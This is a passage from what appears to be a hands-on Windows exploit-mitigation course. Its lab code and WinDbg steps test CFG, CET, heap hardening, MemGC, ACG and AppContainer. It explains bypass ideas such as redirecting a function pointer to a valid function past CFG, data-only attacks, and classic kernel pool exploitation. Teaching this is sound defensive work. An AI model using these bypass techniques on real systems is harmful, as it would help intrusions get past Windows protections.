pwn(int a, int b) { printf(\"[!] PWNED via redirect to pwn()!\\n\"); return 0xDEAD; }\n\nint main(int argc, char **argv) {\n    MathOp op = add;\n    printf(\"[*] add at %p, sub at %p, pwn at %p\\n\",\n           (void*)add, (void*)sub, (void*)pwn);\n    fflush(stdout);\n\n    if (argc > 1 && argv[1][0] == '1') {\n        \u002F\u002F Redirect to another valid function — CFG ALLOWS\n        printf(\"[*] Redirecting function pointer to pwn()...\\n\");\n        op = pwn;\n    } else if (argc > 1 && argv[1][0] == '2') {\n        \u002F\u002F Redirect to shellcode address — CFG BLOCKS\n        printf(\"[*] Redirecting function pointer to 0xBAADF00D...\\n\");\n        op = (MathOp)0xBAADF00D;\n    }\n    fflush(stdout);\n    int result = op(10, 5);\n    printf(\"[*] Result: %d\\n\", result);\n    return 0;\n}\n```\n\n```bash\n# Compile with and without CFG\ncl \u002FZi \u002Fguard:cf src\\cfg_analysis.c \u002FFe:bin\\cfg_analysis.exe \u002Flink \u002Fguard:cf \u002FDEBUG\n\n# Test 1: valid redirect -> CFG allows\n.\\bin\\cfg_analysis.exe 1\n# Expected: [!] PWNED via redirect to pwn()!\n\n# Test 2: invalid redirect -> CFG blocks\n.\\bin\\cfg_analysis.exe 2\n# Expected: Process terminates immediately.\n# Note: You may see 0xC0000005 (Access Violation) if the CFG bitmap for that address is unmapped.\n\n# Verify in WinDbg:\nwindbg bin\\cfg_analysis.exe 2\n# > g\n# !analyze -v -> FAIL_FAST_GUARD_ICALL_CHECK_FAILURE or INVALID_POINTER_READ\n```\n\n#### Task 2: CET Shadow Stack Verification\n\nVerify that CET is active on your system and understand its impact:\n\n```bash\n# 1. Check CPU support for CET\nGet-CimInstance -ClassName Win32_Processor | Select-Object Name, Caption\n# Intel 12th gen+ or AMD Zen 3+ have CET\n\n# 2. Check if shadow stacks are enforced\nGet-ProcessMitigation -System | Select-Object -ExpandProperty UserShadowStack\n# Look for: Enable = ON, AuditMode = OFF\n\n# 3. Check per-process CET status\nGet-ProcessMitigation -Name notepad.exe | Select-Object -ExpandProperty UserShadowStack\n\n# 4. Verify in WinDbg (needs kernel debugging enabled)\n# bcdedit -debug on, and the rest ...\nwindbg -pn notepad.exe\n# In WinDbg:\n# !process 0 0\n# .process \u002Fi \u003CEPROCESS>\n# g\n# dt nt!_KTHREAD @$thread UserShadowStacksEnabled\n```\n\n> [!NOTE]\n> You cannot easily test CET bypass because CET **completely blocks** return address\n> tampering — there is no \"allowed\" case. Any ROP chain or return address overwrite\n> causes immediate shadow stack mismatch -> `__fastfail(37)` -> exit code `0x80000003`.\n> This is fundamentally different from CFG, which has a coarse-grained bypass.\n\n### Comparing CFG, CET, and XFG\n\n| Feature               | CFG                          | CET                          | XFG                       |\n| --------------------- | ---------------------------- | ---------------------------- | ------------------------- |\n| **Protects**          | Indirect calls\u002Fjumps         | Return addresses             | Function type matching    |\n| **Mechanism**         | Software bitmap              | Hardware shadow stack        | Enhanced CFG + type hash  |\n| **Requires**          | Windows 8.1+                 | Intel 11th+ \u002F Zen 3+ + Win11 | Windows 11 22H2+          |\n| **Overhead**          | ~1-5%                        | \u003C1% (hardware)               | ~2-7%                     |\n| **Granularity**       | Coarse (any valid function)  | Exact (per-return address)   | Fine (per-call-site type) |\n| **Bypass Difficulty** | Medium (valid-func redirect) | Very Hard (hardware)         | Hard                      |\n| **Exit code on kill** | 0x80000003 (\\_\\_fastfail)    | 0x80000003 (\\_\\_fastfail)    | 0x80000003 (\\_\\_fastfail) |\n\n### Key Takeaways\n\n1. **CFG is coarse-grained**: It checks \"is the target ANY valid function entry?\" — not\n   \"should THIS call site dispatch to THAT function.\" This means redirecting a function\n   pointer to a different-but-valid function **bypasses CFG**. We proved this in Day 2\n   Technique 3 and again in the vtable test above.\n2. **CET completely blocks ROP**: Shadow stacks are hardware-enforced — any return address\n   mismatch causes immediate termination. Unlike CFG, there is no \"allowed\" bypass case.\n   CET eliminates return-oriented programming entirely on supported hardware.\n3. **CFG exit code is 0x80000003**: `__fastfail` executes `int 0x29` which traps to the\n   kernel. The process exit code is STATUS_BREAKPOINT (0x80000003), NOT 0xC0000409. The\n   exception record contains the detailed fast-fail code (10 for CFG, 37 for CET).\n4. **XFG improves CFG with type hashes**: XFG validates that the target function's\n   signature matches what the call site expects. This closes the coarse-grained gap.\n   However, XFG is OS-managed — there is no public `\u002Fguard:xfg` compiler flag.\n5. **Data-only attacks bypass all CFI**: Since CFG\u002FCET\u002FXFG only protect control flow\n   (function pointers and return addresses), attacks that corrupt data without changing\n   code flow remain effective. Example: overwriting an `is_admin` flag or authentication\n   token without touching any function pointer.\n6. **Layered defense is essential**: CFG handles indirect calls, CET handles returns,\n   XFG handles type confusion. No single mechanism covers everything.\n7. **Win32k filtering removes massive attack surface**: Browser renderers that block\n   win32k.sys syscalls eliminate 1200+ kernel attack surface functions.\n8. **IBT (Indirect Branch Tracking)** requires `ENDBR64` at branch targets — backward\n   compatible (it's a NOP on older CPUs), but provides forward-edge protection on CET\n   hardware.\n9. **Kernel shadow stacks** extend CET to ring 0 via VBS\u002FHVCI — even kernel ROP chains\n   are detected and cause bugcheck.\n\n### Discussion Questions\n\n1. **Why does CFG allow any valid function, not just compatible types?**\n\n   > CFG uses a single bitmap with 1 bit per 16-byte slot. It only records which\n   > addresses are valid function entries — not which functions are valid for a\n   > particular call site. Per-call-site validation would require much more metadata\n   > and runtime overhead. XFG addresses this with type hashes, but it's still not\n   > deployed universally.\n\n2. **How does CET shadow stack affect legitimate exception handling?**\n\n   > Exception unwinding must update both the regular and shadow stacks. The OS\n   > exception dispatcher uses `INCSSP` \u002F `RSTORSSP` to adjust the shadow stack\n   > during unwinding. `setjmp`\u002F`longjmp` also save\u002Frestore shadow stack state.\n   > This is handled transparently by the CRT — application code doesn't need changes.\n\n3. **What attack surfaces remain even with CFG + CET + XFG?**\n\n   > Data-only attacks: corrupt `is_admin` flags, authentication tokens, file paths,\n   > SQL query strings, or configuration data — none of which involve function pointers\n   > or return addresses. Also: JIT-compiled code (if ACG is not enabled), DLL injection\n   > (if CIG is not enabled), and kernel attacks via drivers not covered by HVCI.\n\n4. **Can CFI be perfect, or will bypasses always exist?**\n   > Perfect CFI requires knowing the complete, precise set of valid targets for every\n   > indirect call at every point in execution — essentially a complete program analysis.\n   > This is undecidable in general (halting problem). In practice, we can get very close\n   > with XFG + CET + ACG + CIG, but novel attack classes (data-only, confused deputies,\n   > side channels) will always exist outside the CFI protection model.\n\n## Day 4: Heap Protections and Memory Integrity\n\n- **Goal**: Understand Windows heap security features and memory protection mechanisms.\n- **Activities**:\n  - _Reading_:\n    - [Heap Security Features](https:\u002F\u002Flearn.microsoft.com\u002Fen-us\u002Fwindows\u002Fwin32\u002Fmemory\u002Fheap-functions)\n    - [Microsoft Edge MemGC Internals](https:\u002F\u002Fhitcon.org\u002F2015\u002FCMT\u002Fdownload\u002Fday2-h-r1.pdf)\n  - _Online Resources_:\n    - [Windows 10 Segment Heap Internals](https:\u002F\u002Fwww.blackhat.com\u002Fdocs\u002Fus-16\u002Fmaterials\u002Fus-16-Yason-Windows-10-Segment-Heap-Internals.pdf)\n    - [Windows 10 Nt Heap Exploitation](https:\u002F\u002Fwww.slideshare.net\u002Fslideshow\u002Fwindows-10-nt-heap-exploitation-english-version\u002F154467191)\n  - _Tool Setup_:\n    - WinDbg with heap extensions\n    - Application Verifier\n  - _Exercise_:\n    - Observe heap metadata protections\n    - Test heap isolation\n    - Verify MemGC enforcement\n\n### Deliverables\n\n- **PageHeap Log**: WinDbg output showing immediate detection of heap overflow\n- **AppVerifier Report**: Screenshot of AppVerifier catching the UAF\n- **Analysis**: Brief explanation of how Segment Heap differs from NT Heap in mitigation checks\n\n### Kernel Pool Hardening\n\nBefore covering user-mode heaps, understand that the kernel has its own pool allocator with significant hardening.\n\n#### Kernel Pool Architecture\n\n**Pool Types**:\n\nWindows Kernel Pool Types\n\n- NonPagedPool (Legacy):\n  - Cannot be paged to disk\n  - Used for DPC, ISR accessible data\n  - DEPRECATED for new code\n- NonPagedPoolNx (Windows 8+):\n  - Non-paged, Non-executable\n  - Default for ExAllocatePool2\n  - DEP for kernel heap!\n- PagedPool:\n  - Can be paged to disk\n  - Most kernel allocations\n  - Non-executable by default\n- NonPagedPoolSession \u002F PagedPoolSession:\n  - Per-session pools (win32k)\n  - Isolated between sessions\n\n**Pool Hardening Features**:\n\nWindows Pool Protections:\n\n- Pool Header Encoding\n  - Metadata XORed with cookie\n  - Corruption detected on free\n  - Similar to user-mode heap encoding\n- Safe Unlinking\n  - Validates Flink\u002FBlink pointers\n  - Prevents classic unlink exploits\n  - Introduced in Vista\n- NonPagedPoolNx Default\n  - Windows 8+ uses NX pools\n  - Kernel shellcode harder to execute\n  - Must reuse existing code (ROP)\n- Pool Type Separation (Win 10 19H1+)\n  - Different types in different regions\n  - Prevents type confusion via pool spray\n- Special Pool\n  - Debug feature for detecting overflows\n  - Guard pages around allocations\n  - verifier \u002Fflags 0x1 \u002Fall\n- Low Fragmentation Heap in Kernel\n  - Segment heap concepts in kernel\n  - Randomized allocation order\n  - Harder to predict adjacency\n\n**Why Kernel Pool Matters for Exploitation**:\n\nClassic Kernel Pool Exploit:\n\n- Trigger kernel UAF or overflow\n- Spray pool with controlled objects\n- Corrupt adjacent object's function pointer\n- Trigger call to corrupted pointer\n- Execute shellcode in NonPagedPool\n- With Modern Protections:\n  - UAF -> Pool type isolation complicates spraying\n  - Overflow -> Safe unlinking detects corruption\n  - Corruption -> Encoding detects tampering\n  - Shellcode -> NonPagedPoolNx blocks execution\n  - Must use data-only attacks or ROP\n\n### Windows Heap Evolution\n\n**Heap Managers**:\n\n- Windows XP\u002FVista\u002F7\u002F8:\n  - NT Heap (Front-End + Back-End)\n  - Low Fragmentation Heap (LFH)\n  - Lookaside Lists\n- Windows 10+:\n  - Segment Heap (new default for modern apps)\n  - NT Heap (legacy compatibility)\n  - Enhanced security features\n\n**NT Heap Protections**:\n\n1. **Safe Unlinking**:\n\n   ```c\n   \u002F\u002F Validates chunk metadata before unlinking\n   \u002F\u002F Prevents classic unlink exploits\n\n   if (chunk->flink->blink != chunk ||\n       chunk->blink->flink != chunk) {\n       \u002F\u002F Corruption detected!\n       RtlpHeapHandleError();\n   }\n   ```\n\n2. **Heap Cookie**:\n\n   ```c\n   \u002F\u002F Similar to stack cookie\n   \u002F\u002F Stored in heap metadata\n   \u002F\u002F Checked on free()\n\n   _HEAP_ENTRY {\n       WORD Size;\n       WORD Flags;\n       BYTE SmallTagIndex;\n       BYTE Cookie;  \u002F\u002F Random per-heap value\n       ...\n   };\n   ```\n\n3. **Encoded Metadata**:\n\n   ```c\n   \u002F\u002F Heap headers are XORed with encoding key\n   \u002F\u002F Prevents direct metadata manipulation\n\n   ULONG_PTR encoded_size = actual_size ^ heap->Encoding;\n   entry->Size = encoded_size;\n   ```\n\n### Testing Heap Protections\n\n**Heap Overflow Detection**:\n\n```c\n\u002F\u002F heap_overflow.c\n#include \u003Cwindows.h>\n#include \u003Cstdio.h>\n#include \u003Cstring.h>\n\nint main() {\n    HANDLE hHeap = GetProcessHeap();\n\n    \u002F\u002F Allocate two adjacent chunks\n    char *chunk1 = (char*)HeapAlloc(hHeap, 0, 64);\n    char *chunk2 = (char*)HeapAlloc(hHeap, 0, 64);\n\n    printf(\"[*] Chunk1: %p (64 bytes)\\n\", chunk1);\n    printf(\"[*] Chunk2: %p (64 bytes)\\n\", chunk2);\n    printf(\"[*] Gap:    %lld bytes\\n\", (long long)((char*)chunk2 - (char*)chunk1));\n    fflush(stdout);\n\n    \u002F\u002F Write valid data\n    memcpy(chunk1, \"Hello\", 6);\n    memcpy(chunk2, \"World\", 6);\n    printf(\"[*] Before overflow: chunk2 = '%s'\\n\", chunk2);\n    fflush(stdout);\n\n    \u002F\u002F Overflow: write 128 bytes into 64-byte chunk1\n    \u002F\u002F This corrupts chunk2's heap metadata (encoded headers)\n    printf(\"[!] Overflowing chunk1 with 128 bytes of 'A'...\\n\");\n    fflush(stdout);\n    memset(chunk1, 'A', 128);  \u002F\u002F Way beyond 64 bytes!\n\n    \u002F\u002F Try to free chunk2 — heap validates encoded metadata\n    printf(\"[*] Attempting HeapFree(chunk2)...\\n\");\n    fflush(stdout);\n    HeapFree(hHeap, 0, chunk2);\n    \u002F\u002F Heap corruption detected -> process terminates\n\n    printf(\"[-] Should not reach here\\n\");\n    return 0;\n}\n```\n\n**Compile and Test**:\n\n```bash\n# Save to C:\\Windows_Mitigations_Lab\\src\\heap_overflow.c\ncd C:\\Windows_Mitigations_Lab\ncl \u002FZi src\\heap_overflow.c \u002FFe:bin\\heap_overflow.exe \u002Flink \u002FDEBUG\n\n# Run normally — may or may not crash depending on heap layout\n.\\bin\\heap_overflow.exe\n# If adjacent: crash on HeapFree with STATUS_HEAP_CORRUPTION (0xC0000374)\n# If not adjacent: corruption may go undetected!\n\n# Enable Page Heap for GUARANTEED detection:\n\"C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\gflags.exe\" \u002Fp \u002Fenable bin\\heap_overflow.exe \u002Ffull\n.\\bin\\heap_overflow.exe\n# Now: immediate access violation when writing past chunk1's boundary\n# Exit code: 0xC0000005 (STATUS_ACCESS_VIOLATION) — guard page hit\n\n# Disable Page Heap when done:\n\"C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\gflags.exe\" \u002Fp \u002Fdisable bin\\heap_overflow.exe\n```\n\n**Viewing in WinDbg**:\n\n```bash\nwindbg bin\\heap_overflow.exe\n\n# Enable Page Heap for detailed detection\n\n# Run again\ng\n\n# Crash will provide detailed heap corruption info\n!analyze -v\n# Shows exactly which heap check failed\n```\n\n### Segment Heap\n\n**What is Segment Heap?**:\n\n- New heap allocator in Windows 10+\n- Default for UWP and modern apps\n- Enhanced security features\n- Better performance for modern workloads\n\n**Key Features**:\n\n1. **Segment-based Allocation**:\n\n   ```text\n   Small allocations (\u003C128KB): Use segments\n   Large allocations: Direct VirtualAlloc\n\n   Segments organized by size classes\n   Reduces fragmentation\n   ```\n\n2. **Guard Pages**:\n\n   ```text\n   [Segment] [Guard Page] [Segment] [Guard Page]\n\n   Guard pages detect:\n   - Linear overflows between segments\n   - Use-after-free (pages decommitted)\n   ```\n\n3. **Randomization**:\n   ```text\n   - Allocation order randomized\n   - Metadata location randomized\n   - Makes heap spraying harder\n   ```\n\n**Testing Segment Heap**:\n\n```c\n\u002F\u002F segment_heap_test.c\n#include \u003Cwindows.h>\n#include \u003Cstdio.h>\n\n\u002F\u002F Note: Segment Heap is enabled automatically for:\n\u002F\u002F - UWP apps\n\u002F\u002F - Apps with \"SegmentHeap\" in manifest\n\u002F\u002F - System processes on Windows 10 2004+\n\nint main() {\n    HANDLE hHeap;\n\n    \u002F\u002F Default heap creation - system decides based on app configuration\n    \u002F\u002F On modern Windows with proper manifest, this uses Segment Heap\n    hHeap = HeapCreate(0, 0, 0);\n\n    if (!hHeap) {\n        printf(\"Failed to create segment heap\\n\");\n        return 1;\n    }\n\n    printf(\"Segment heap created: %p\\n\", hHeap);\n\n    \u002F\u002F Allocate from segment heap\n    for (int i = 0; i \u003C 100; i++) {\n        void *p = HeapAlloc(hHeap, 0, 64);\n        printf(\"Allocation %d: %p\\n\", i, p);\n    }\n\n    HeapDestroy(hHeap);\n    return 0;\n}\n```\n\n**Compile and Run**:\n\n```bash\n# Save to src\\segment_heap_test.c\ncl \u002FZi src\\segment_heap_test.c \u002FFe:bin\\segment_heap_test.exe \u002Flink \u002FDEBUG\n\n# Run the test\n.\\bin\\segment_heap_test.exe\n```\n\n**Expected Output**:\n\n```text\nSegment heap created: 0000019E62DD0000\nAllocation 0: 0000019E62DD0860\nAllocation 1: 0000019E62DD08B0\nAllocation 2: 0000019E62DD0900\n...\nAllocation 16: 0000019E62DD0D60\nAllocation 17: 0000019E62DD0750  \u003C-- Randomization: address jumped backward!\nAllocation 18: 0000019E62DD3770  \u003C-- Randomization: large jump forward\nAllocation 19: 0000019E62DD3900\n...\nAllocation 99: 0000019E62DD4F30\n```\n\n> [!NOTE]\n> Notice how the allocation addresses jump around (e.g., from `...D60` to `...750` then `...3770`).\n> Unlike the NT Heap which typically allocates sequentially, the Segment Heap randomizes\n> allocation order within segments to make heap spraying and grooming significantly more difficult.\n\n### MemGC (Memory Garbage Collector)\n\n**What is MemGC?**:\n\n- Temporal memory safety for C++\n- Detects use-after-free at runtime\n- Used in Microsoft Edge\n- Delays memory reuse\n\n**How MemGC Works**:\n\n```c\n\u002F\u002F Without MemGC:\nObject *obj = new Object();\ndelete obj;         \u002F\u002F Memory freed\nObject *obj2 = new Object();  \u002F\u002F Reuses same memory!\n\u002F\u002F obj is now dangling pointer\n\n\u002F\u002F With MemGC:\nObject *obj = new Object();\ndelete obj;         \u002F\u002F Memory marked for reclamation\nObject *obj2 = new Object();  \u002F\u002F Gets DIFFERENT memory\n\u002F\u002F Later: GC reclaims obj's memory\n\u002F\u002F obj dangling pointer points to unmapped memory -> crash\n```\n\n**Key Concepts**:\n\n- Delayed Freeing:\n  - Free() doesn't immediately return memory\n  - Memory held in quarantine\n  - Reused only after delay\n- Pointer Tracking:\n  - Tracks all pointers to allocation\n  - Prevents reuse while pointers exist\n  - Use-after-free caught when dereferenced\n- Scanning:\n  - Periodically scans for unreachable allocations\n  - Reclaims memory with no live pointers\n  - Similar to garbage-collected languages\n\n**Simulating MemGC Behavior**:\n\nSince MemGC is specific to the Edge browser engine (Blink), we cannot directly use it in a standalone C++ application. However, we can **simulate** its strict memory safety guarantees (crashing on use-after-free) using **Page Heap**.\n\n```cpp\n\u002F\u002F memgc_test.cpp\n#include \u003Cwindows.h>\n#include \u003Cstdio.h>\n\nstruct Object {\n    int data;\n    void (*callback)();\n};\n\nvoid safe_callback() {\n    printf(\"Safe callback\\n\");\n}\n\nint main() {\n    \u002F\u002F Allocate object\n    Object *obj = new Object();\n    obj->data = 42;\n    obj->callback = safe_callback;\n\n    \u002F\u002F Use it\n    obj->callback();  \u002F\u002F OK\n\n    \u002F\u002F Delete it\n    delete obj;\n\n    \u002F\u002F UAF attempt\n    \u002F\u002F Standard Heap: Likely succeeds (memory not cleared immediately)\n    \u002F\u002F MemGC \u002F Page Heap: Crashes immediately (access violation)\n    obj->callback();\n\n    return 0;\n}\n```\n\n**Compile and Run (Simulation)**:\n\nTo see the crash, we must enable Page Heap to force an access violation on the freed memory:\n\n```bash\n# Compile\ncl \u002FZi src\\memgc_test.cpp \u002FFe:bin\\memgc_test.exe \u002Flink \u002FDEBUG\n\n# 1. Run normally (Standard Heap)\n.\\bin\\memgc_test.exe\n# Output:\n# Safe callback\n# Safe callback  \u003C-- UAF succeeds! (Dangerous)\n\n# 2. Enable Page Heap (Simulates MemGC strictness)\n\"C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\gflags.exe\" \u002Fp \u002Fenable bin\\memgc_test.exe \u002Ffull\n\n# 3. Run again\n.\\bin\\memgc_test.exe\n# Output:\n# Safe callback\n# (Crash \u002F Silence) \u003C-- UAF caught!\n\n# Cleanup\n\"C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\gflags.exe\" \u002Fp \u002Fdisable bin\\memgc_test.exe\n```\n\n**Limitations**:\n\n- Performance overhead (10-15%)\n- Not available for all applications\n- Transparent to application code (no source changes needed — it hooks the allocator)\n- Works with both C and C++ allocations (any `malloc`\u002F`free` or `new`\u002F`delete`)\n\n### Arbitrary Code Guard (ACG)\n\n**What is ACG?**:\n\n- Prevents dynamic code generation and modification\n- Makes code pages immutable after loading\n- Blocks: VirtualAlloc(RWX), VirtualProtect(RWX), shellcode injection\n- Used by Microsoft Edge and other security-sensitive apps\n\n**How ACG Works**:\n\n- Without ACG:\n  - Process can allocate RWX memory\n  - Process can change RW -> RWX\n  - Shellcode injection possible\n- With ACG:\n  - VirtualAlloc with EXECUTE fails\n  - VirtualProtect to add EXECUTE fails\n  - Only signed, loaded code can execute\n\n**Testing ACG**:\n\n```c\n\u002F\u002F acg_test.c - This will fail with ACG enabled\n#include \u003Cwindows.h>\n#include \u003Cstdio.h>\n\nint main() {\n    \u002F\u002F Try to allocate executable memory\n    void *mem = VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n    if (mem == NULL) {\n        printf(\"ACG blocked VirtualAlloc RWX! Error: %d\\n\", GetLastError());\n        return 1;\n    }\n    printf(\"Allocated RWX memory at %p\\n\", mem);\n    return 0;\n}\n```\n\n**Compile and Run**:\n\n```bash\n# Compile\ncl \u002FZi src\\acg_test.c \u002FFe:bin\\acg_test.exe \u002Flink \u002FDEBUG\n\n# Run without ACG\n.\\bin\\acg_test.exe\n# Output:\n# Allocated RWX memory at 00000210A61B0000\n\n# Enable ACG for this app(powershell admin)\nSet-ProcessMitigation -Name \"C:\\Windows_Mitigations_Lab\\bin\\acg_test.exe\" -Enable BlockDynamicCode\n\n# Run with ACG\n.\\bin\\acg_test.exe\n# Output:\n# ACG blocked VirtualAlloc RWX! Error: 1655\n\n# Disable ACG\nSet-ProcessMitigation -Name \"C:\\Windows_Mitigations_Lab\\bin\\acg_test.exe\" -Disable BlockDynamicCode\n```\n\n### Code Integrity Guard (CIG)\n\n**What is CIG?**:\n\n- Only allows Microsoft-signed or WHQL-signed binaries to load\n- Prevents loading of unsigned DLLs\n- Blocks DLL injection attacks\n\n**ACG + CIG Combined**:\n\n- ACG: No new executable code\n- CIG: Only signed code loads\n- Together: Very strong code execution prevention\n\n### Application Verifier\n\n**What is Application Verifier?**:\n\n- Runtime verification tool from Microsoft\n- Detects memory corruption, handle leaks, etc.\n- More aggressive than normal heap checks\n- Essential for testing\n\n**What It Detects**:\n\n- Heap corruption\n- Buffer overflows\n- Use-after-free\n- Double-free\n- Handle leaks\n- Lock violations\n- DLL load issues\n\n**Example**:\n\n```c\n\u002F\u002F heap_uaf.c\n#include \u003Cwindows.h>\n#include \u003Cstdio.h>\n#include \u003Cstring.h>\n\nint main() {\n    HANDLE hHeap = GetProcessHeap();\n\n    char *p = (char*)HeapAlloc(hHeap, 0, 100);\n    strcpy(p, \"Hello from allocated memory\");\n    printf(\"[*] Allocated: %p, content: '%s'\\n\", p, p);\n    fflush(stdout);\n\n    HeapFree(hHeap, 0, p);\n    printf(\"[*] Freed %p\\n\", p);\n    fflush(stdout);\n\n    \u002F\u002F UAF: access after free\n    \u002F\u002F Without AppVerifier: may print stale data or garbage\n    \u002F\u002F   (memory not yet reclaimed -> no crash!)\n    \u002F\u002F With AppVerifier: IMMEDIATE access violation on the read\n    printf(\"[!] UAF read: '%s'\\n\", p);\n    fflush(stdout);\n\n    \u002F\u002F Second UAF: write after free\n    strcpy(p, \"CORRUPTED\");\n    printf(\"[!] UAF write succeeded (no AppVerifier)\\n\");\n    fflush(stdout);\n\n    return 0;\n}\n```\n\n```bash\n# Compile\ncd C:\\Windows_Mitigations_Lab\ncl \u002FZi src\\heap_uaf.c \u002FFe:bin\\heap_uaf.exe \u002Flink \u002FDEBUG\n\n# Run WITHOUT AppVerifier — UAF likely succeeds silently!\n.\\bin\\heap_uaf.exe\n# Output: [*] Allocated: ..., content: 'Hello from allocated memory'\n# Output: [*] Freed ...\n# Output: [!] UAF read: 'Çùα╢Z'  (garbage\u002Fstale data!)\n# Output: [!] UAF write succeeded (no AppVerifier)\n# Exit code: 0x0 — no crash, no detection!\n\n# Enable AppVerifier — UAF caught immediately\nappverif -enable Heaps -for bin\\heap_uaf.exe\n.\\bin\\heap_uaf.exe\n# Output: [*] Allocated: ..., content: 'Hello from allocated memory'\n# Output: [*] Freed ...\n# Program terminates silently — AppVerifier caught the UAF!\n# Exit code: Non-zero (process terminated by AppVerifier)\n# AppVerifier places guard pages on freed allocations\n\n# Disable AppVerifier when done:\nappverif -disable Heaps -for bin\\heap_uaf.exe\n```\n\n### Process Isolation and Sandboxing\n\nWindows provides several isolation mechanisms beyond memory protections.\n\n#### AppContainer\n\n**What is AppContainer?**:\n\n- Lightweight sandbox for UWP and modern applications\n- Restricts network, filesystem, and registry access\n- Token-based capability model\n- Default for Microsoft Store apps and Edge\n\n**AppContainer Architecture**:\n\n```text\nTraditional Win32 App:              AppContainer App:\n---------------------------------------------------------------\n\n┌────────────────────────┐         ┌────────────────────────┐\n│ Admin\u002FUser Token       │         │ AppContainer Token     │\n│ - Full user rights     │         │ - Restricted rights    │\n│ - Access to profile    │         │ - Limited capabilities │\n│ - Network access       │         │ - Isolated namespace   │\n└────────────────────────┘         └────────────────────────┘\n        │                                    │\n        ▼                                    ▼\n┌────────────────────────┐         ┌────────────────────────┐\n│ File System            │         │ Virtualized FS         │\n│ - C:\\Users\\...         │         │ - AppData\\Local\\       │\n│ - Any location         │         │   Packages\\\u003CAppName>   │\n└────────────────────────┘         └────────────────────────┘\n        │                                    │\n        ▼                                    ▼\n┌────────────────────────┐         ┌────────────────────────┐\n│ Registry               │         │ Virtualized Registry   │\n│ - HKCU, HKLM           │         │ - Package-specific     │\n└────────────────────────┘         └────────────────────────┘\n```\n\n**AppContainer Capabilities**:\n\n```xml\n\u003C!-- Package.appxmanifest capabilities -->\n\u003CCapabilities>\n    \u003CCapability Name=\"internetClient\"\u002F>      \u003C!-- Outbound internet -->\n    \u003CCapability Name=\"privateNetworkClientServer\"\u002F>  \u003C!-- Local network -->\n    \u003CCapability Name=\"documentsLibrary\"\u002F>    \u003C!-- Documents folder -->\n    \u003CCapability Name=\"webcam\"\u002F>              \u003C!-- Camera access -->\n    \u003CCapability Name=\"microphone\"\u002F>          \u003C!-- Microphone access -->\n    \u003C!-- Each capability must be explicitly declared -->\n\u003C\u002FCapabilities>\n```\n\n**Checking AppContainer Status**:\n\n```powershell\n# src\\appcontainer-demo.ps1\nWrite-Host \"`n=== AppContainer Security Demo ===\" -ForegroundColor Cyan\nWrite-Host \"Lightweight sandbox for UWP and modern apps`n\"\n\n# 1. List AppContainer Packages\nWrite-Host \"[1] AppContainer Packages on System\" -ForegroundColor Yellow\nGet-AppxPackage | Select-Object -First 5 Name, PackageFamilyName | Format-Table\n\n# 2. Show Filesystem Isolation\nWrite-Host \"`n[2] Filesystem Isolation\" -ForegroundColor Yellow\n$packagesPath = \"$env:LOCALAPPDATA\\Packages\"\nWrite-Host \"Isolated storage: $packagesPath`n\"\nGet-ChildItem $packagesPath -Directory | Select-Object -First 3 | ForEach-Object {\n    Write-Host \"  $($_.Name)\" -ForegroundColor Cyan\n    Get-ChildItem $_.FullName -Directory -ErrorAction SilentlyContinue | Select-Object -First 3 | ForEach-Object {\n        Write-Host \"    \u002F$($_.Name)\"\n    }\n}\n\n# 3. Network Capabilities\nWrite-Host \"`n[3] Network Capabilities Required\" -ForegroundColor Yellow\nWrite-Host \"  internetClient - Outbound internet\"\nWrite-Host \"  privateNetworkClientServer - Local network\"\nWrite-Host \"  Apps must declare these in manifest\"\n\n# 4. Check Edge Process\nWrite-Host \"`n[4] Edge Process Check\" -ForegroundColor Yellow\n$edge = Get-Process msedge -ErrorAction SilentlyContinue | Select-Object -First 1\nif ($edge) {\n    Write-Host \"  PID: $($edge.Id)\"\n    Write-Host \"  Path: $($edge.Path)\"\n    Write-Host \"  Memory: $([math]::Round($edge.WorkingSet64\u002F1MB, 2)) MB\"\n} else {\n    Write-Host \"  Edge not running - start it to test\"\n}\n\n# 5. Security Summary\nWrite-Host \"`n[5] AppContainer Restrictions\" -ForegroundColor Yellow\nWrite-Host \"  [+] Isolated filesystem (per-app folders)\"\nWrite-Host \"  [+] Virtualized registry\"\nWrite-Host \"  [+] Network capability model\"\nWrite-Host \"  [+] Cannot inject into other processes\"\nWrite-Host \"  [+] Low-privilege token (S-1-15-2-*)\"\n\nWrite-Host \"`n=== Complete ===\" -ForegroundColor Green\n```\n\n**AppContainer Security Boundaries**:\n\n- What AppContainer Restricts:\n  - File System\n    - Cannot read outside package folder\n    - Cannot write to system locations\n    - Broker process mediates file access\n  - Registry\n    - Isolated registry hive\n    - Cannot modify HKLM\n    - Cannot read other users' HKCU\n  - Network\n    - Requires explicit capability\n    - Cannot bind to all interfaces\n    - Loopback blocked by default\n  - Process\n    - Cannot inject into other processes\n    - Cannot open handles to non-AC processes\n    - Limited debugging rights\n  - Kernel Objects\n    - Cannot create global objects\n    - Named objects scoped to container\n\n**Compile and Run**\n\n```bash\ncd C:\\Windows_Mitigations_Lab\nSet-ExecutionPolicy Bypass -Scope Process -Force\n.\\src\\appcontainer-demo.ps1\n```\n\n#### LPAC (Less Privileged AppContainer)\n\n**What is LPAC?**:\n\n- \"Less Privileged App Container\" - Enhanced AppContainer\n- Even more restricted than standard AppContainer\n- Used by browser content processes (Chrome, Edge)\n- Blocks many Windows subsystem APIs\n\n**LPAC vs AppContainer**:\n\n```text\nStandard AppContainer:              LPAC:\n-------------------------------------------------------------------\n\nWin32k Access: Limited              Win32k Access: Blocked\n- Can create windows                - No window creation\n- Some GDI operations               - No GDI access\n                                    - Uses GPU process for display\n\nCOM Activation: Allowed             COM Activation: Blocked\n- Can activate COM servers          - No COM activation\n- OLE Automation works              - Must use IPC to broker\n\nNetworking: Capability-based        Networking: More restricted\n- Full sockets with capability      - Limited socket operations\n                                    - DNS through broker\n\nUse Case: Store apps, Edge UI       Use Case: Renderer processes\n```\n\n**Verify LPAC Process**:\n\n```c\n\u002F\u002F verify_lpac.c - Check if a process is running in LPAC\u002FAppContainer\n\u002F\u002F Compile: cl \u002FZi \u002FW4 src\\verify_lpac.c \u002FFe:bin\\verify_lpac.exe \u002Flink advapi32.lib\n\n#include \u003Cwindows.h>\n#include \u003Cstdio.h>\n#include \u003Csddl.h>\n\n#pragma comment(lib, \"advapi32.lib\")\n\nvoid 